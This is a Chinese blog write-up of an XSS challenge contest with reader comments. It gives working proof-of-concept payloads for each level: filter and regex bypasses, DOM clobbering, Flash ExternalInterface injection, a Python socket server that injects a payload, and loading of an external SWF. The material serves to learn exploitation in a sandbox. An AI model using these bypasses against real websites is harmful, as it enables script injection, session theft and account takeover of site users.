本次比赛参与人数3700多人,提交并获得了分数的正确答案共有1069条。最终有65名参赛者获得了奖品,一、二、三名分别由p.z,piaca和香草获得。答题结果的总体分布如下:

xss挑战关卡统计

年龄越来越大,记性越来越差。就当做笔记吧(所有 POC 都只是为了通关)。

1. FB-0

这一关没什么可说的,直接给出 POC:

http://sandbox.host.smartgslb.com/fb0/xss1.php?code=</script><svg/onload=alert(1)//

2. FB-01

这一关只有有个坑就是 正则

name=name.replace(/</,"&lt;");

replace 没有使用全局 g 参数,造成只会替换字符串中的第一个 "<" 符号,所以这关的 POC:

http://sandbox.host.smartgslb.com/fb1/#code=<<svg/onload=alert(1)>

3. FB-02

这一关访问很明显就是一段 js 代码,只是去掉了 <script>, 直接输入到页面上,但是通过 func 参数可以控制页面上的两个点。由于 POC 要求 chrome 有效,所以最初一直停留在绕 chrome 的 XSS Auditor 上了,浪费不少时间。后面重新换个思路,利用两个输出点,结合当前页面内容,通过下面 POC 过关:

http://sandbox.host.smartgslb.com/fb2/?func=';alert(1);</script><script>tpl={'

4. FB-03

这一关比较简单,绕过对 page 的检测,加载一个外域的 JS 文件,直接给 POC:

http://sandbox.host.smartgslb.com/fb3/?page=//test.com/1

5. FB-04

这一关的表单提交是用来迷惑的,重点在 eval,POC:

http://sandbox.host.smartgslb.com/fb4/?key=#";alert(1);"

6. FB-05

这关的利用点是头像,表单提交,在 pic 中提交如下 POC:

upic=./img/head_2.png' onload=alert(1) '

7. FB-06

这一题最主要的就是换行符,在 XSS挑战第二期 Writeup 中有提到,记性不好,以至于卡了很久。

这里有个关键的地方就是 xss6.js 中的:

var SERVER_TEMP  = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 进行安全验证

这行代码让我们对 ? 失去了幻想,还记得 FB-01 里面的那个正则么,这里很神似,但是却更狠。所以我们需要一个换行符,普通的 %0D%0A 是不行的,所以这里需要 &#x2028;,由于 chrome 不能直接在浏览器中插入这个符号,所以我们通过一个 iframe 来引用它:

<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=dodo#"></iframe>

user.php 这个 callback 接口有限制,还需要绕过这里的限制才能够执行 JS 代码,经过测试程序对几乎所有可以执行代码的关键字进行了过滤,但是对 [ ] ( ) . 等没有进行限制,可以通过下面的方法来绕过:

this[17795081..toString(36)](1)

最后的 POC:

<iframe src="http://sandbox.host.smartgslb.com/fb6/xss6.htm#?&#x2028;&uin=..&pn=user.php?callback=this[17795081..toString(36)](1)#"></iframe>

8. FB-07

这一题需要的技巧真是不少,经过 pz 大牛的指点才过关的。 仔细看代码,思路就会很明确,就是要想办法执行下面的代码:

document.getElementById("username").innerHTML = '<a href="http://pkav.net/' + uid + '" target=_blank> 小白 </a>';

但是过程不容易,表面上需要解决下面两个难点:

  1. 想办法让 jsDesert 的值不为 undefined,这样 jsDessert 的值才不会是 undefined,include 函数才能够正常执行
  2. jsDessert[j0] 不为 false,include 的第二个参数,也就是传入的函数才能够执行

但是实际上如何解决呢,先来看第一个 jsDesert。页面执行下来,先去通过 DOM 去改变 iframe 的 src 为:http://appmaker.sinaapp.com/stat.php,这个页面中嵌入一段 JS 代码,我们能够通过 man 参数控制页面的一部分内容,这里是关键。

穿插一下:浏览器有个特性,支持直接以 id 或者 name 属性值获取元素,各浏览器之间会有差异,但是对于 IFRAME 几乎所有的浏览器都一样,详细的可以参考 各浏览器中对直接以 id 或者 name 属性值获取元素存在差异

所以我们只要能够控制 id 为 x 的 IFRAME 的 name,把值设置为 jsDesert,JS 就能够通过 jsDesert 直接获取到 IFRAME,这样 jsDesert 就不为 undefined。怎么设置呢?在 IFRAME 中我们能够执行有限的 JS 代码,但是赋值还是可以的,所以通过 window.name=jsDesert 就可以,事实上程序对长度有限制,如果使用 window.name 会超出长度限制,所以通过 self.name 绕过,也就是下面的 URL:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1

这样,include 才不会报错,继续执行,加载另外一个 callback 文件:http://appmaker.sinaapp.com/nick.php。这个 callback 文件我们要控制 func,这里通过 # 来让程序使用我们的 func。

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=x#

但是要想让 jsDessert[j0] 不为 false,可以通过 func 为 jsDessert 来覆盖掉 jsDessert,这样 jsDessert[j0] 为 undefined 同样不为 false。但是 func 有过滤策略,经过测试可以通过 self.jsDessert 来绕过,下面链接看效果:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#

到这里,POC 就很容易了:

http://sandbox.host.smartgslb.com/fb7/?man=';self.name='jsDesert&uid=1&func=self.jsDessert#">
<iframe/onload=alert(1)>

9. FB-08

这题没解出来,结束后问 sogili,他说了两个字 刷新 ,好吧,无限刷新下面的 POC,总会弹的:

http://sandbox.host.smartgslb.com/fb8/index.php?vul=alert(1);

10. Flash-01

反编译 Flash ,在代码中可以看到,从 mp3 的 ID3 中取出的 songName 数据,进入到了 ExternalInterface.call 中,并且 mp3 文件受控于 mp3 参数。所以指定一个 mp3 文件,把 ID3 中的 songName 修改为 payload:

\"));alert(1);}catch(e){}//

POC为:

http://sandbox.host.smartgslb.com/flash_1/XSSC1.swf?mp3=http://test.com/1.mp3 

11. Flash-02

Flash 类的题目从这题开始就都比较坑了,仍然反编译 Flash。经过一番那啥代码之后我们大概总结一下:

  1. 传入 Flash 的两个参数 init 和 params 两个参数我们都可控
  2. Flash 代码中的 ExternalInterface.call 都无法利用
  3. Flash 通过 addCallback 公开一个 trace 方法给 JS 调用

又经过一番那啥代码,有了新的收获:

  1. 可控的 init 参数我们可以指定为 Flash 公开出来的方法 trace,这样 Flash 就会调用这个 trace 方法
  2. trace 方法返回的是 urlEncode 对 location.href 处理后的数据,location.href 我们可控,并且 addCallback 是会产生 XSS 问题的

思路明确,后面就需要搞定 urlEncode,根据这段函数写出下面的函数:

a = "\\\"});alert(1);//";
str = ""
for(i=0;i<a.length;i++){
        s = (((a.charCodeAt(i) - 1) % 127) - 10).toString(16);
        str = str + "%" + s;
}
console.log(str);

得到 payload 为:

%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24 

最终的 POC 为:

http://sandbox.host.smartgslb.com/flash_2/?%51%17%72%1e%30%56%61%5a%67%69%1d%26%1e%30%24%24&initfunc=document.mycontent.trace

12. Flash-03

先说依据,这一题光图案我就对了好久。仍旧是反编译 Flash。通过代码看到 Flash 可以加载一个我们可控的 Flash,只有当 img 的 width 和 height 值分别为 200 和 300 的时候才会把 XML 中的数据进入到 htmltext 中,so 我就开始疯狂调整 XML 中的参数,以达到过关目的。但是 width 和 height 是会受 xscale 和 yscale 影响的,在 Flash 代码中对这两个值做了限制就是不能大于 0.8,怎么调整 XML 中的这几个值都无法达到想要的效果,无意中把 width 和 height 值设置为 200 和 300,把 xscale 和 yscale 这两个值设置为 -1,结果竟然它就它就它就......

所以 POC 为:

http://sandbox.host.smartgslb.com/flash_3/?url=//test.com/1.xml 

XML 文件的内容为:

<pkav>
    <rect width="200" height="300" xscale="-1" yscale="-1" rotate="-180">
        <successMsg>
        <![CDATA[
            <img src='http://xsst.sinaapp.com/Xss.swf'>
        ]]>
        </successMsg>
    </rect>
</pkav>

13. Flash-04

这一题我最初是直接跳过,到最后才搞定的。还是反编译 Flash,通过分析代码看到 hostName 可以指定 Flash socket 连接的服务器,就去 google 了 Flash socket 相关的资料。

结合 html 中的提示 xss with clickjacking 和经过一番那啥代码和坑之后有了大概的思路:

  1. 在可控的服务器上运行一个 Flash socket policy server,用于 Flash 加载安全策略文件
  2. 在这个可控的服务器上运行一个 Flash socket server,用于向 Flash 发送数据(主要是点击 Flash 上的 用户登陆)
  3. 当发送的数据达到一定的要求就会把数据进入到 ExternalInterface.call 中

先构建 Flash socket policy server,这个 google 下有现成的代码,可以参考下面连接的 python 代码:

http://114.215.178.29/static/projects/newgis.2013/etc/flex_socket_policy/flashpolicyd.py

这个服务运行在 843 端口上,策略文件的内容为:

<?xml version="1.0"?><cross-domain-policy><site-control permitted-cross-domain-policies="all"/><allow-access-from domain="*" to-ports="*" /></cross-domain-policy>

其次构建 Flash socket server,用于向 Flash 发送 payload,这里我首先通过一个 python echo server,运行在 6700 端口,观察 Flash 和该 socket server 通信的内容。经过来回倒腾两次大概知道了规律,所以更改了 python 代码,在接收到 Flash 发送过来的数据后直接修改最后的一部分数据为 payload,然后再发送到 Flash 上,代码如下:

import socket

host = ''
port = 6700
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((host,port))
s.listen(backlog)
while 1:
    client, address = s.accept()
    data = client.recv(size)
    if data:
        client.send(data[:-26] + "\\\"));}catch(e){alert(1)}//")
    client.close()

把上面两个服务运行起来后,就有了 POC:

http://sandbox.host.smartgslb.com/flash_4/XSSC4.swf?hostName=test.com

访问上面 POC,点击 用户登陆 即可。

14. Flash-05

这题过关的思路很清晰,就是通过 addChild 加载一个外部的 Flash 文件,但是如果加载呢,有难度。

html 页面传入两个参数 url 和 callback,url 就是传入到 Flash 中用 addChild 去加载,但是看了下 html 中对 url 的检测和过滤代码,几乎无望。希望只能够寄托到 callback 上。

仔细理了一下整个过程,url 和 callback 这两个参数组装成 JS 中的 data 对象,callback 可控的是对象的一个键值,那思路就应该是用 callback 去覆盖掉前面的 url,达到目的。如何覆盖呢,又陷入困境。

通过 IE 的 JS 调试器,一步一步的跟踪,看下数据的整个处理流程,发现了亮点。data 是一个对象,进入到 Flash 中是要转换成 XML 的,转换的主要函数为:

function __flash__objectToXML(obj) {
        var s = "<object>";
        for (var prop in obj) {
                s += "<property id=\"" + prop + "\">" + __flash__toXML(obj[prop]) + "</property>";
        }
        return s+"</object>";
}

看到两点了么,通过遍历对象,然后把键和值生成一个 XML 值,在函数中是不对对象的健做任何处理的,正常页面中的 data 为:

data={"url":".\/o.png","pkav":"pkav"};

经过处理后的 XML 值为:

<object><property id="url"><string>./o.png</string></property><property id="pkav"><string>pkav</string></property></object>

我们把 callback 修改为:

url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x

data 就变成了:

var data={"url":".\/o.png","url\"><string>http:\/\/xsst.sinaapp.com\/Xss.swf<\/string><\/property><property id=\"x":"pkav"};

经过处理后的 XML 值为:

<object><property id="url"><string>./o.png</string></property><property id="url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x"><string>pkav</string></property></object>

有两个 url,Flash 会认为最后一个 url 有效。这样就有了 POC:

http://sandbox.host.smartgslb.com/flash_5/?url=./o.png&callback=url"><string>http://xsst.sinaapp.com/Xss.swf</string></property><property id="x

over

[原文地址]

各种吐槽:

骨灰 | 2014/07/25 12:19 | #

第一题的答案原来是这样!

Liuz5O69 | 2014/07/25 15:56 | #

也可以这样

code=1"){}}if(1){if("1

更短

l | 2014/07/25 16:19 | #

");};{{// 是不是更短

xyang | 2014/07/26 09:28 | #

我也这样,当时就想着让代码里的alert语句执行

魂淡、 | 2014/07/25 12:33 | #

good jb

香草 | 2014/07/25 12:58 | #

终于出来了

香草 | 2014/07/25 13:08 | #

fb08真是那样做的吗,太坑了吧

zznucker | 2014/07/25 17:40 | #

同问,这也太坑了吧!

还以为有什么巧妙的提升。。。

gainover | 2014/07/26 11:48 | #

恩,我叫王大锤,万万没想到...

我是壮丁 | 2014/07/25 13:42 | #

来晚了,没抢上1L啊

gainover | 2014/07/25 13:46 | #

感谢楼主的辛勤付出~ 这样我就不用写了,哈哈

心伤的胖子 | 2014/07/25 13:47 | #

这样真的好么?二哥。

gainover | 2014/07/25 13:54 | #

当然好~ 来,亲一个~

心伤的胖子 | 2014/07/25 13:55 | #

mua~

Sogili | 2014/07/25 13:59 | #

哈哈

livers | 2014/07/27 01:39 | #

你没有猥琐过pz啊

香草 | 2014/07/25 14:03 | #

其实我也写了,不过还没发,现在就不发了,不过还是期待二哥写个官方版的

香草 | 2014/07/25 14:02 | #

其实我也写了,不过还没法,现在就不发了,不过还是期待二哥写个官方版的

only_guest | 2014/07/25 15:18 | #

发出来大家学习下思路。

xiaoL | 2014/07/25 14:06 | #

同样期待二哥的官方版本- -

心伤的胖子 | 2014/07/25 14:09 | #

p.z 这个磨人的小妖精

p.z | 2014/07/25 14:25 | #

FB-07的那个:http://www.thespanner.co.uk/2013/05/16/dom-clobbering/

px1624 | 2014/07/25 14:26 | #

我的1和5的答案和标准答案竟然完全不一样。。。

心伤的胖子 | 2014/07/25 14:30 | #

标准答案在哪里?

px1624 | 2014/07/25 14:56 | #

这个文章的不是标准答案?

chock | 2014/07/25 14:33 | #

蛋蛋的忧伤

ccSec | 2014/07/25 15:20 | #

赞一个!

Black World | 2014/07/25 15:34 | #

看完答案后 ,我瞬间感觉要去天台了。

鱼猫 | 2014/07/25 15:36 | #

第四题还可以,虽然长了些。

http://sandbox.host.smartgslb.com/fb4/index.htm?window.location=javascript:alert(1)

zawdd | 2014/07/25 15:38 | #

FB01 "欢迎您回来! %3C%3Csvg/onload=alert(1)%3E "

firefox and chrome both the same.

anyone can tell me why?and how to fix

gainover | 2014/07/25 15:41 | #

use a #code rather than ?code in chrome

/fd | 2014/07/25 17:25 | #

By the way img onerror should be used 'cause onload of svg may not be triggered with innerHTML.

Undoit | 2014/07/25 17:49 | #

@gainover FB-08的姿势是什么?

加载执行顺序?

gainover | 2014/07/26 11:46 | #

两次刷新间隔过短,会导致上一次刷新的页面请求被aborted。

skywhat | 2014/07/26 08:35 | #

那个测试现在还开放吗?学习学习

gainover | 2014/07/26 11:47 | #

题目地址,此文中好像基本都已给出。

天鱼 | 2014/07/26 21:56 | #

相关内容:

基于referrer的XSS的利用 第二部分

CVE-2014-0509 使用?半代理(0xD800~0xDBFF)的 Flash XSS

XSS Filter Evasion Cheat Sheet 中文版

入侵中,上传的html文件有什么实际的利用技巧?

SOHU视频XSS漏洞导致其用户成为DDOS肉鸡,22000用户发了2000万GET请求

一种很鸡肋的XSS,我喜欢叫它【No refresh Xss】,自爆菊花型

过滤了符号 \ 和 / 该如何绕过进行 XSS 攻击?

xss玩转第三方微信公众平台的姿势!

Bypass xss过滤的测试方法

[抛砖引玉]无处不在的输入点,各种 XSS 奇技淫巧

【讨论】字符串长度限制31字节,31字符xss挑战

[XSS神器]XssEncode chrome插件

XSS安全公司风险警报 各个公司收报警的方式应该都是邮件或者在网页里查看

微信一个公众账号的XSS

科普:请问什么叫xss盲打?

关于转载问题思考,转载后在特定站点会不会导致触发xss漏洞?

今天遇到一个微信公众平台注入的实例

XSS与字符编码的那些事儿 ---科普文

发现一个微信朋友圈奇葩 Bug!评论内容回复六个表情会自动被系统秒删!

把储存型XSS变成反射型XSS 突破长度限制

Short XSS

猥琐思路XSS

发两个qq钓鱼站点 求测试 - 乌云白帽子 XSS 实例

腾讯微信奇葩漏洞,劫持朋友圈好友打开指定网站,或许还可以XSS、钓鱼哟

Bypass IE XSS Filter

JSONObject输出json串可引发XSS

利用Chrome插件向指定页面植入js,劫持 XSS,一些猥琐的想法与实践

XSS解决方案系列之一:淘宝、百度、腾讯的解决方案之瑕疵

防御XSS的七条原则

XSS解决方案系列之二:知其所以然—浏览器是如是解码的

XSS解决方案系列之三: 例解过后,再回首您正在维护的产品

7500刀的accounts.google.com域下XSS分析

XSS解决方案系列之四:关于编码

一次 SWF XSS 挖掘和利用

Google某处XSS“漏洞”挑战,看谁先弹出cookie!!【娱乐贴】

高级钓鱼攻击来了:针对拍拍的XSS攻击

【讨论帖】XSS,过滤/和空格还有其他办法吗?

【跟风贴】XSS挖出一个黑产团体

XSS挖出一个黑产团体

百度经验的一个储存型XSS漏洞

IE8 xss filter bypass (xss过滤器绕过)

存储型xss自己x自己的xss各个浏览器的用法

Wordpress Plugin[All-in-one-seo-pack] Xss

如何能XSS百度快照,百度快照跨站、弹广告、跳转

xss.js 使用手册 [更新 通用表单劫持]

Internet Explorer 9 XSS Filter Bypass

XSS Hack:获取浏览器记住的明文密码

利用 xss 执行 sql 注入

flash_xss挖掘小谈

漫谈反射xss利用

通过 img URL 实施 XSS 的解决方案

Discuz xss利用演示( 劫持发帖,置顶帖子等)

说一说新手在寻找XSS时所存在的一些误区

XSS检测客户端环境,javascript 检测客户端文件、系统环境

IE8 xss filter bypass

PHP 魔术引号导致 IE XSS Filter bypass

phpcms v9.1.15 多处 sql 及 XSS 缺陷

phpcms v9 三个 xss

让XSS攻击来得更猛烈些吧,一种新型的绕过XSS防御的方法

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

UTF-7 XSS 浅析

利用XSS跨站漏洞入侵百度投诉中心 用xss平台沦陷百度投诉中心后台

基于 flash 的反射型 xss 的利用方法

一只漂流瓶带来的后续危害:漂流瓶飘来的可能是愿望,也有可能是XSS!

整理了一些 XSS 跨站代码

Javascript 字符串截断 with DOM XSS

关于DOM xss跨站一点点经验

利用xss的seo优化

IE8、IE9 的 XSS 筛选器关闭方式、方法

126disk XSS 漏洞

PageAdmin XSS 漏洞

XSS漏洞挖掘 - CSS编码和反斜杠的三个技巧

XSS两三事(第一季) By:sH

xss的发现与利用

科迅官方XSS漏洞

搜狐博客/博客大巴 日志模块XSS漏洞(2009.1.10.漏洞首发)

XSS的常见变换.PDF

XSS JavaScript 跨站脚本攻击汇总

XSS 跨站代码大全 本人小小的总结

【经典】公布一个 Nuclear-Blog v4.0 留言板的 XSS 漏洞

2011-06-28 06.28_sina_XSS 新浪微薄 XSS Worm 攻击事件始末分析

新浪微博“中毒”自动发博文 - 新浪 XSS Worm

一只XSS蠕虫的实现

过滤了(等于号)、(单引号),怎么XSS??

过滤了 (等于号)、(单引号),怎么XSS??

Zen Cart 上传、XSS、跨站等多个漏洞

Cross-Site Scripting XSS 跨站攻击全攻略

utf-7 编码跨站工具 utf-7 编码 解码工具

【XSS】CSS expressions with UTF-7编码

DirCms 内容管理系统 XSS 漏洞和利用方法

【漏洞】百度 XSS 跨站 跳转 执行 漏洞一个

【漏洞】酷狗存在严重的XSS和Url跳转漏洞

【视频】XSS Mail For iPhone

留言评论(旧系统):

佚名 @ 2014-07-29 18:45:06

明明这里的文章,90%的内容都看不懂...我还一直来看...我也是浪催的....

本站回复:

Good Good Study, Day Day UP~